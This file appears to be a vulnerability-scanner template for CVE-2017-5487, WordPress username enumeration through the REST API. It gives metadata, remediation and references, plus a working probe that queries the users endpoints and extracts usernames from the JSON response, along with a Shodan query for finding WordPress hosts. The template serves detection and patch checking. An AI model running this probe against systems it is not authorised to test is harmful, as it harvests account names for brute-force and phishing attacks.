68 lines
2.3 KiB
YAML
68 lines
2.3 KiB
YAML
id: CVE-2017-5487
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info:
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name: WordPress Core <4.7.1 - Username Enumeration
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author: Manas_Harsh,daffainfo,geeknik,dr0pd34d
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severity: medium
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description: WordPress Core before 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows a remote attacker to obtain sensitive information via a wp-json/wp/v2/users request.
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impact: |
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An attacker can easily determine valid usernames, which can lead to targeted attacks such as brute force attacks or social engineering.
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remediation: |
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Update WordPress to version 4.7.1 or later
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reference:
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- https://www.exploit-db.com/exploits/41497
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- https://www.wordfence.com/blog/2016/12/wordfence-blocks-username-harvesting-via-new-rest-api-wp-4-7/
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- https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
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- https://nvd.nist.gov/vuln/detail/CVE-2017-5487
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- http://www.openwall.com/lists/oss-security/2017/01/14/6
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2017-5487
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cwe-id: CWE-200
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epss-score: 0.97179
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epss-percentile: 0.99767
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cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: wordpress
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product: wordpress
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shodan-query: http.component:"WordPress"
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tags: cve,cve2017,wordpress,wp,edb
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http:
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- method: GET
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path:
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- "{{BaseURL}}/wp-json/wp/v2/users/"
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- "{{BaseURL}}/?rest_route=/wp/v2/users/"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"id":'
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- '"name":'
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- '"avatar_urls":'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 200
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extractors:
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- type: json
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name: "usernames"
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json:
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- '.[] | .slug'
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- '.[].name'
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part: body
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# digest: 4a0a00473045022012362c3e5d6328b56620ca5ba033d652c01140ab49135a379f1fc623d1dabc80022100b3f06e821337ae0f1da2edea5c31e37a8c383e1c92dbec597ea16233f6d6491e:922c64590222798bb761d5b6d8e72950 |